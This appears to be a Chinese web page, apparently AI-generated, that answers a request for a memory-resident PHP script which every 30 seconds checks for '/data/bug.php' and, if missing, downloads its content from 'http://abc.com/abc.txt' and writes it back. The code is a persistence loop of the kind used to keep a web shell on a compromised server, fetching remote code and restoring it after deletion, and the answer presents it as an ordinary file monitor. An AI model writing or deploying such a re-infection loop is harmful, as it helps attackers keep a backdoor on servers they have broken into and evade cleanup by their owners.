使用 PHP 编写一个常驻内存脚本

该脚本实现以下功能:

  1. 常驻系统内存
  2. 每 30 秒检测 '/data/bug.php' 文件是否存在
  3. 如果 '/data/bug.php' 不存在,则根据 'http://abc.com/abc.txt' 内容创建一个名为 'bug.php' 的文件
<?php
// 检测 '/data/bug.php' 文件是否存在
while (true) {
    if (!file_exists('/data/bug.php')) {
        // 如果文件不存在则创建
        $url = 'http://abc.com/abc.txt'; // abc.txt 文件中包含 bug.php 的内容
        $content = file_get_contents($url);
        file_put_contents('/data/bug.php', $content);
    }
    sleep(30); // 每 30 秒检测一次
}
?>

代码说明:

  • 脚本使用 while (true) 循环,确保脚本常驻内存。
  • 脚本每 30 秒使用 sleep(30) 函数暂停执行,降低 CPU 资源消耗。
  • file_exists('/data/bug.php') 函数用于检测文件是否存在。
  • file_get_contents($url) 函数用于获取远程文件内容。
  • file_put_contents('/data/bug.php', $content) 函数用于将内容写入文件。

注意:

  • 请确保 'http://abc.com/abc.txt' 文件中包含正确的内容,并且服务器允许访问该文件。
  • 脚本需要在能够访问 '/data/' 目录的服务器上运行。
  • 此脚本可能占用较高的系统资源,请根据实际情况调整代码。
PHP 常驻内存脚本:自动创建并监控文件

原文地址: https://www.cveoy.top/t/topic/od4j 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录